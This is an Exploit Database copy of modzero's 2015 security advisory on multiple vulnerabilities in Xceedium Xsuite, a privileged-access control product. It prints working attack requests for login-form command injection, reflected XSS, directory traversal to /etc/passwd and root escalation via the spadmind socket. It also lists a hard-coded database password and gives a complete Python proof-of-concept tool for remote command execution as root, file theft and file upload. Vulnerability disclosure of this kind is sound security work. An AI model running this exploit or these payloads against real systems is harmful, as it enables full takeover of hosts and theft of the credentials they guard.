Xceedium Xsuite – Multiple Vulnerabilities

• Exploit Database
• 119 阅读

• 作者： modzero
  日期： 2015-07-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37708/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562

  See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt   ---------------------------------------------------------------------   modzero Security Advisory: Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]   ---------------------------------------------------------------------   ---------------------------------------------------------------------   1. Timeline   ---------------------------------------------------------------------   * 2015-06-17: Vulnerabilities have been discovered * 2015-06-19: Vendor notified via support@xceedium.com * 2015-06-19: CVE IDs assigned * 2015-06-26: Public reminder sent via Twitter * 2015-06-26: Findings updated * 2015-07-22: Release after Xceedium did not respond within more than 15 business days   ---------------------------------------------------------------------   2. Summary   ---------------------------------------------------------------------   Vendor: Xceedium, Inc.   Products known to be affected:   * Xsuite 2.3.0 * Xsuite 2.4.3.0 * Other products and versions may be affected as well.   Severity: Overall High Remote exploitable: remote and local   TheXsuite systemcontrolsand auditsprivilegeduser accessto computersin anetworkenvironment.Several vulnerabilitieswere identified in the solution. The vulnerabilities allow unauthenticated users to fully compromise an Xsuite host over the network.   Theissuesdescribedbeloware onlyexamplesforvulnerability classes. The solution is systematically affected by similar issues.   CVE-2015-4664 to CVE-2015-4669 wasassigned to these vulnerabilities and vulnerability classes.   ---------------------------------------------------------------------   3. Details   ---------------------------------------------------------------------   3.1 Commandinjection viathe loginform (Severity:High, CVE-2015-4664)   Thelogin formis affectedby acode injectionvulnerability via the"id" POSTparameter, whichallows anunauthenticated attacker toinjectLinux commands.Thesecommandsare executedwiththe privilegesofthe Linuxuser"www-data".The injectedcommand&apos;s output is then sent back to the attacker.   An example HTTP request and response is shown below.   HTTP request:   POST /login.php HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://XXX.XXX.XXX.XXX/ Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 80   id=admin&apos;|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=       HTTP response:   HTTP/1.1 200 OK Date: Wed, 17 Jun 2015 10:47:47 GMT Server: Apache X-Frame-Options: SAMEORIGIN Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/ Strict-Transport-Security: max-age=365246060 Content-Length: 2096 Keep-Alive: timeout=150, max=300 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8   root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh [...]     3.2 Cross-SiteScripting Vulnerability(Severity: Medium, CVE-2015-4665)   Thefollowing exampleshowsareflected cross-sitescripting vulnerabilitythat injectsJavaScript codeinto auser&apos;s session. Here, the HTTPresponse contains a message, which seemsto be JSON. However, the content type is"text/html". Thus, a web browser treats the server response as HTML code (fragment).   HTTP request:   GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815 Connection: keep-alive     HTTP response:   HTTP/1.1 200 OK Date: Thu, 18 Jun 2015 11:10:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Strict-Transport-Security: max-age=365246060 Content-Length: 70 Keep-Alive: timeout=150, max=300 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8   ["Unable to find decryption key for file <img src=a onload=alert(1)>"]     3.3 Directorytraversal andFile DownloadVulnerability (Severity: Medium/High, CVE-2015-4666)   Due to insufficient input validation the "read_sessionlog.php" script isaffected byadirectory traversalvulnerability, whichallows unauthenticated users to obtain any files that the user "www-data" is allowed toaccess. Thescript triesto cutthe "../"pattern for relativedirectoryaddressing,butfailstosanitizespecially crafted input. Hence, it is still possible to download files from the host by accessing the script as shown below:   https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd   The following code is partof the source code file /var/www/htdocs/uag/web/opm/read_sessionlog.php   [...] $file_path= $_REQUEST["logFile"]; [...]   if (strpos($file_path, &apos;/opt/rpath&apos;) !== 0) { $file_path = &apos;/opt/rpath/&apos; .$file_path; }   if($startByte < 1) $startByte=0;   if (isset($file_path)) { // make sure users cannot hack via ../../ $file_path = preg_replace("/\.\.\//", "", $file_path); $file_path = stripslashes($file_path); // if the file does not exist, display it if (!is_file($file_path)) { echo &apos;File (&apos; .$_REQUEST["logFile"]. &apos;) does not exist.&apos;; exit(0); } }   output_file($file_path, &apos;VT100LogA.txt&apos;, &apos;&apos;, $startByte, $searchChar, $searchDir, $totalByte); [...]     3.4Privilegeescalation via"/sbin/spadmind"(Severity:High, CVE-2015-4664)   The"spadmind" serviceallowslocalusers toescalatetheir privilegestobecome"root". Incombinationwiththecommand injectionvulnerability fromsection3.1, itispossible torun arbitrary commands as "root" user via the network.   The web interfaceruns under the privileges of theweb server user. To executeprivileged commands,the web interfacesends text-based messagesvia asocketto the"spadmind"process. The"spadmind" process has alistening socket bound to localhost:2210and reads in text lines, which are partiallyused as parameter for system command execution. Since the "spadmind" processdoes not validate the input, anattackeris abletoinjectcommandsthat areexecutedwith super-user privileges.   File: /sbin/spadmind   [...] # socket my $clsock = shift; # command and number of lines to process my $command= <$clsock>; my $numlines = <$clsock>;   chomp($command); chomp($numlines); [...] } elsif ($command eq &apos;expect&apos;) { chomp($line = <$clsock>); my $res = <code>expect $line</code>; if ($res =~ /(STATUS=\w+)/) { $resp = $1; } else { $resp = &apos;unknown&apos;; } [...]   In the quotedcode above, running the command"expect" and allowing users tospecify parametersis a vulnerability,because parameters could be passed via option "-c" to invoke shell commands.   $ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x23 uid=0(root) gid=0(root)   $ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42 uid=0(root) gid=0(root)     3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667)   Thesoftware useshard-coded credentialsat severalplaces, which makes it unfeasible to change database credentials regularly.   $ grep -R n1b2dy . ./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR &apos;uaguser&apos;@&apos;localhost&apos;=PASSWORD(&apos;n1b2dy&apos;); ./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy"; ./www/htdocs/uag/web/activeActiveCmd.php:$res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php:$res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/ajax_cmd.php:$link = mysql_connect("localhost", "uaguser" ,"n1b2dy"); ./www/htdocs/uag/cgi/external_log_sync.php:$db_link_local = new mysqli("localhost", "uaguser", "n1b2dy", "uag"); ./www/htdocs/uag/config/db.php:$dbchoices= array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/services/main/common/Configuration.php:const K_DB_PASS_DEFAULT= &apos;n1b2dy&apos;; ./www/htdocs/uag/functions/eula_check.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/eula_check.php:$link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/db.php:$dbchoices= array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/remove_disabled_cron.pl:&apos;n1b2dy&apos;,   $ grep -R n1b2dy sbin sbin/logwatch:use constant LW_DBPASS => "n1b2dy"; sbin/interrogate-vmware.pl:use constant DB_PASSWORD=> &apos;n1b2dy&apos;; Binary file sbin/xcd_sshproxy matches Binary file sbin/xcd_upd matches Binary file sbin/vlmon matches Binary file sbin/sessd matches Binary file sbin/gksfdm matches Binary file sbin/xcdmsubagent matches sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to the database\n"); sbin/make-auth-token.pl:my $passwd = &apos;n1b2dy&apos;; sbin/rotate_coredumps.pl:my $passwd = &apos;n1b2dy&apos;; Binary file sbin/loadcrl matches sbin/ad_upd:$dbh = DBI->connect( &apos;DBI:mysql:uag&apos;, &apos;uaguser&apos;, &apos;n1b2dy&apos;, { autocommit => 0 } ) sbin/ad_upd:my $db = DBI->connect( &apos;DBI:mysql:uag&apos;, &apos;uaguser&apos;, &apos;n1b2dy&apos;, { autocommit => 0 } ) sbin/ad_upd:$dbh = DBI->connect_cached( &apos;DBI:mysql:uag&apos;, &apos;uaguser&apos;, &apos;n1b2dy&apos;, { autocommit => 0 } ) sbin/rfscheck:use constant LW_DBPASS=> "n1b2dy"; sbin/auth.pl:&apos;n1b2dy&apos;, sbin/apwd:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return; sbin/update_crld:my($dbpass)="n1b2dy"; sbin/update_crld:&apos;n1b2dy&apos;,     3.6. No passwordfor MySQL "root" user(Severity: High, CVE-2015-4669)   Localuserscan accessdatabasesonthe systemwithoutfurther restrictions, because the MySQL "root" user has no password set.   $ python XceediumXsuitePoC.py --hostXXX.XXX.XXX.XXX --cmd &apos;echo "update user set active = 0, passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag&apos;     3.7 Open redirect (Severity: Low, CVE-2015-4668)   An attacker may craft a link toan Xsuite host that looks valid, but tricks the userand abuses an open redirectvulnerability in Xsuite to redirect a user to a thirdparty web site, for example a web site with malware.   https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68   File: /var/www/htdocs/uag/web/openwin.php   <? $redirurl = $_GET[&apos;redirurl&apos;];   header(&apos;Location: &apos; .$redirurl);   ?>     3.8 Possible issues not further investigated   Passwords stored inthe database are unsaltedhashes, which reduces the attack complexity if an attackerhas access to the database. The setup under invesatigation partially used MD5 and SHA1 hashes.   The web interface and scriptscreate SQL statements by concatenating strings and user-supplied input without proper input validation. This may result in SQL injections.   $ grep -i -Rwhere . | grep -E &apos;\$_(POST|GET)&apos; ./web/filter/filter_sfa.php:$query = "delete from socket_filter_mon where sfm_id=&apos;".$_GET[&apos;sfm_id&apos;]."&apos;"; ./web/filter/filter_command_list.php:$query = "select * from cmd_list where id=&apos;".$_POST["s_list"]."&apos;"; ./web/filter/filter_command_list.php:$query = "delete from cmd_list where id=&apos;".$_POST["s_list"]."&apos;"; ./web/filter/filter_command_list.php:$query = "delete from cmd_keywords where list_id=&apos;".$_POST["s_list"]."&apos;"; ./web/filter/filter_command_list.php: "where command_filter = &apos;".$_POST["s_list"]."&apos;"; ./web/filter/filter_command_list.php:$query = "select * from cmd_list where list_type=&apos;".$_POST[&apos;r_ltype&apos;]."&apos; order by listname"; ./web/filter/filter_command_list.php:where id=&apos;".$_POST[&apos;id&apos;]."&apos;"; ./web/filter/filter_command.php:$query = "update intervention_configuration set value = &apos;".$_POST[&apos;number_warnings&apos;]."&apos; where name = &apos;number_of_warnings&apos;"; ./web/filter/filter_command.php:$query = "update intervention_configuration set value = &apos;".$_POST[&apos;blacklist_action&apos;]."&apos; where name = &apos;intervention_action&apos;"; ./web/filter/filter_command.php:$query = "update intervention_configuration set value = &apos;".$_POST[&apos;blacklist_intervention_message&apos;]."&apos; where name = &apos;blacklist_intervention_message&apos;"; ./web/filter/filter_command.php:$query = "update intervention_configuration set value = &apos;".$_POST[&apos;whitelist_intervention_message&apos;]."&apos; where name = &apos;whitelist_intervention_message&apos;"; ./web/filter/filter_command.php:$query = "update intervention_configuration set value = &apos;".$_POST[&apos;alert_email_message&apos;]."&apos; where name = &apos;alert_email_message&apos;"; ./web/socketFilterCmd.php:$res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET[&apos;h_id&apos;]); ./web/socketFilterCmd.php:$res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET[&apos;h_id&apos;]); ./web/socketFilterCmd.php:$query = "delete from rdp_lock where id=&apos;".$_GET[&apos;rdp_id&apos;]."&apos;"; ./web/socketFilterCmd.php:$query = "select hostID from host where h_id = &apos;".db_esc($_GET["device_name"])."&apos;"; ./web/socketFilterCmd.php:where sess_id=&apos;".$_GET[&apos;PHPSESSID&apos;]."&apos; and ./web/socketFilterCmd.php:$query = &apos;SELECT seq FROM gkconnection WHERE sess_id = "&apos; .$sessid. &apos;" AND hostID = "&apos; .$_GET[&apos;h_id&apos;]. &apos;" AND pid IS NOT NULL&apos;; ./web/socketFilterCmd.php:$query = &apos;SELECT seq FROM gkconnection WHERE sess_id = "&apos; .$sessid. &apos;" AND hostID = "&apos; .$_GET[&apos;h_id&apos;]. &apos;" AND pid IS NOT NULL&apos;; ./web/socketFilterCmd.php: $query = &apos;SELECT seq FROM gkconnection WHERE sess_id = "&apos; .$sessid. &apos;" AND hostID = "&apos; .$_GET[&apos;h_id&apos;]. &apos;" AND pid IS NOT NULL&apos;; ./web/ajax_cmd.php:$query = "select * from session where sess_id=&apos;".$_GET[&apos;param&apos;]."&apos;"; ./web/ajax_cmd.php:WHERE hostID = &apos;".$_GET[&apos;hostID&apos;]."&apos;"; ./web/ajax_cmd.php:$query = &apos;SELECT u.userID FROM session AS s, user AS u WHERE s.u_name = u.u_name AND s.sess_id = "&apos; .db_esc($_GET[&apos;sess_id&apos;]). &apos;"&apos;; ./web/dev/dev_ajax.php:$update_query = "UPDATE kta_settings set value = &apos;".$_GET[$name]."&apos; where name = &apos;".$name."&apos;"; ./web/dev/dev_group_ajax.php:if ($_POST[&apos;where&apos;] == &apos;hosts&apos; || $_POST[&apos;where&apos;] == &apos;hosts_sel&apos;) { ./web/dev/dev_group_ajax.php:$where = $_POST[&apos;where&apos;]; ./web/dev/dev_group_ajax.php:if ($_POST[&apos;where&apos;] == &apos;hosts&apos; || $_POST[&apos;where&apos;] == &apos;hosts_sel&apos;) { ./web/dev/dev_group_ajax.php:$where = $_POST[&apos;where&apos;]; ./web/dev/dev_group_ajax.php:if ($_POST[&apos;where&apos;] == &apos;hosts&apos; || $_POST[&apos;where&apos;] == &apos;hosts_sel&apos;) { ./web/dev/dev_group_ajax.php:$where = $_POST[&apos;where&apos;]; ./features/dev_sfa.php:$query = "delete from socket_filter_mon where sfm_id=&apos;".$_GET[&apos;sfm_id&apos;]."&apos;"; ./hconfig/functions/smartb.php:$query = "delete from smartb_cfg_files where fileName = &apos;".$_POST["filename"]."&apos;";     ---------------------------------------------------------------------   4. Impact   ---------------------------------------------------------------------   The identifiedvulnerabilities allows any userto execute arbitrary commands as systemsuper-user ("root"). Since the systemis used to control otherdevices (forexample, via RDPand SSH),an attacker would add malicous modification to the Java-based clients for RDP and SSH to exfiltrate access credentials for computers and to abuse these credentials in further steps.     ---------------------------------------------------------------------   5. Proof of concept exploit   ---------------------------------------------------------------------   #!/usr/bin/python # # Proof of Concept Tool to Exploit Vulnerabilities in # Xceedium Xsuite # # Author: modzero AG, Switzerland #   import httplib2, urllib import re import base64 from optparse import OptionParser   url = &apos;&apos;   def get_command_output(cmd): marker = &apos;~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!&apos; values = { &apos;id&apos; : "admin&apos;| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #", &apos;pass&apos; : &apos;foo&apos;, &apos;authTypeOption&apos; : &apos;use_local&apos;, &apos;loginID&apos; : &apos;&apos;, } headers = { &apos;Content-Type&apos;: &apos;application/x-www-form-urlencoded&apos;, } values = urllib.urlencode(values) h = httplib2.Http(disable_ssl_certificate_validation=True) resp, content = h.request(url, "POST", values, headers = headers) offset1 = content.find(marker) + len(marker) offset2 = content.rfind(marker, offset1 + 1) try: return base64.standard_b64decode(content[offset1:offset2]) except: return content[offset1:offset2]     def get_dir(retrieve_dir): fname = re.sub(r&apos;\/&apos;, &apos;_&apos;, retrieve_dir) + ".tgz" text_file = open(fname, "w") text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64")) text_file.close()   def get_file(retrieve_file): fname = re.sub(r&apos;\/&apos;, &apos;_&apos;, retrieve_file) data = get_command_output("cat " + retrieve_file + " | base64") print data text_file = open(fname, "w") text_file.write(data) text_file.close()   def exec_cmd(cmd): data = get_command_output(cmd + " | base64") print data   def exec_root(cmd): data = get_command_output(&apos;echo -e "timezone\n1\n;&apos; + cmd + &apos; > /tmp/.x" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/.x | base64&apos;) print data   def upload_file(fname, dst_file): with open(fname, &apos;r&apos;) as content_file: b64_content = base64.standard_b64encode(content_file.read()) get_command_output("echo " + b64_content + " | base64 -d > " + dst_file)   def main(): global url parser = OptionParser() parser.add_option("--host", dest="host", help="The host to attack") parser.add_option("--dir", dest="dir", help="The directory to retrieve") parser.add_option("--file", dest="file", help="The file to retrieve") parser.add_option("--cmd", dest="cmd", help="The command to execute") parser.add_option("--root", dest="root", help="The command to execute with root privileges") parser.add_option("--upload", dest="upload", help="A local file to upload") parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content")   (options, args) = parser.parse_args()   if options.host: url = &apos;https://%s/login.php&apos; % (options.host)   if options.dir: get_dir(options.dir) elif options.file: get_file(options.file) elif options.cmd: exec_cmd(options.cmd) elif options.root: exec_root(options.root) elif options.upload: upload_file(options.upload, options.dst_file)   if __name__ == "__main__": main()     ---------------------------------------------------------------------   6. Workaround   ---------------------------------------------------------------------   A workaround is not known.   ---------------------------------------------------------------------   7. Fix   ---------------------------------------------------------------------   It is not known to modzero, if a security fix is available.   ---------------------------------------------------------------------   8. Credits   ---------------------------------------------------------------------   * Martin Schobert (martin@modzero.ch)   ---------------------------------------------------------------------   9. About modzero   ---------------------------------------------------------------------   TheindependentSwisscompanymodzeroAGassistsclientswith security analysisin the complexareas of computertechnology. The focusliesonhighlydetailedtechnicalanalysisofconcepts, softwareandhardware componentsaswellas thedevelopmentof individual solutions.Colleagues atmodzero AG workexclusively in practical, highlytechnical computer-security areas andcan draw on decadesof experienceinvarious platforms,system concepts,and designs.   https://www.modzero.ch   contact@modzero.ch   ---------------------------------------------------------------------   10. Disclaimer   ---------------------------------------------------------------------   The informationin the advisoryis believedto be accurateat the time of publishingbased on currently availableinformation. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties withregard to this information. Neither the authornorthe publisheracceptsanyliability foranydirect, indirect, orconsequential lossor damage arisingfrom useof, or reliance on, this information.